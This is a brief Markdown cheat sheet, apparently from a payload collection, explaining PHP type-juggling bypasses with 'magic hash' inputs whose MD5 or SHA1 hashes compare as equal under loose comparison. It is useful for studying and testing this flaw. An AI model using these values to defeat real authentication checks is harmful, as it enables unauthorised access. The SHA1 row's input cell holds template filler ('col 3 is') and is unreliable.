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26 lines
1008 B
Markdown
26 lines
1008 B
Markdown
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# PHP Juggling type and magic hashes
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## Exploit
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```php
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<?php
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var_dump(md5('240610708') == md5('QNKCDZO'));
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var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
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var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
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var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
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var_dump('0010e2' == '1e3');
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var_dump('0x1234Ab' == '1193131');
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var_dump('0xABCdef' == ' 0xABCdef');
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?>
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```
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| Hash | “Magic” Number / String | Magic Hash | Found By |
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| ---- | -------------------------- |:---------------------------------------------:| -------------:|
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| MD5 | 240610708 | 0e462097431906509019562988736854 | Michal Spacek |
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| SHA1 | col 3 is | 0e07766915004133176347055865026311692244 | Independently found by Michael A. Cleverly & Michele Spagnuolo & Rogdham |
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## Thanks to
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* http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html
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* https://www.whitehatsec.com/blog/magic-hashes/
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